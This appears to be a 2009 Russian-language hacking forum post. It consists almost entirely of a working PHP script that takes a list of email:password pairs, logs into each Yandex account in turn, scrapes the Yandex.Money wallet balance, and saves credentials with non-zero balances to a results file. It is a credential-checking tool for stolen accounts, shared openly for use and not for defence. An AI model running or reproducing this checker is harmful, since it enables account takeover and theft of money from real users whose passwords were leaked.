|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
PHP код:
<?php
@set_time_limit(0);
$url = "http://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru"; // урла с авторизацией
$url1 = "http://passport.yandex.ru/passport?mode=logout"; // Выход с ящика.
$ua = "Opera 9.64";
$ref = "http://www.yandex.ru/";
$req = "";
$money_file = "valid.txt"; // Фаил с ВАЛИДНЫМИ мылами
$result = "result.txt"; // Фаил вида мыло:пароль:рублёвая зелень
$nulled = "nulled.txt"; // Фаил с кошелями с нулевым балансом.
$counter = "0";
$counter1 = "0";
$fp = fopen($money_file,"r");
$fp1 = fopen($result,"a+");
$fp2 = fopen($nulled,"a+");
for ($i = 0; $i < 1681;$i++) { // Тут задаём количество мыл в файле.Удобно,если нужно считать часть мыл,а не все сразу
$str = fgets($fp,1024);
$str = explode(":",trim($str));
$req = "login=$str[0]&passwd=$str[1]"; //Формируем запрос
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url); //Посылаем запрос
curl_setopt($ch,CURLOPT_REFERER,$ref);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://money.yandex.ru"); // Переходим на страницу Яндекс.Деньги,чтобы посмотреть баланс.
curl_setopt($ch,CURLOPT_REFERER,"http://passport.yandex.ru");
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$res1 = curl_exec($ch);
if(preg_match_all('#<span id="current-user-balance">(.*?)</span>#',$res1,$m)) { // Парсим рубли )
foreach ($m[1] as $r) {
if ($r == '0,00*руб.') {
$counter1++;
$null = $str[0].':'.$str[1].':'.$r;
fwrite($fp2,$null."\r\n");
}
else {
$counter++;
$res = $str[0].':'.$str[1].':'.$r;
fwrite($fp1,$res."\r\n");
}
}
}
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url1); //Выходим с мыла.
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
echo "Ждём три секунды...<br>";
sleep(3); // Задержка перед запросами на чек мыл.
curl_close($ch);
}
echo "<center>Всего кошельков: $counter </center>";
echo "<center>Из них пустых: $counter1 </center>";
fclose($fp);
fclose($fp1); // Каанееец ^_________^
fclose($fp2);
// Copyrighted by Веля солнышкин
?>
ЗЫ: Добавлена проверка для кошельков с нулевым балансом).
Последний раз редактировалось Велемир; 13.08.2009 в 19:46..
|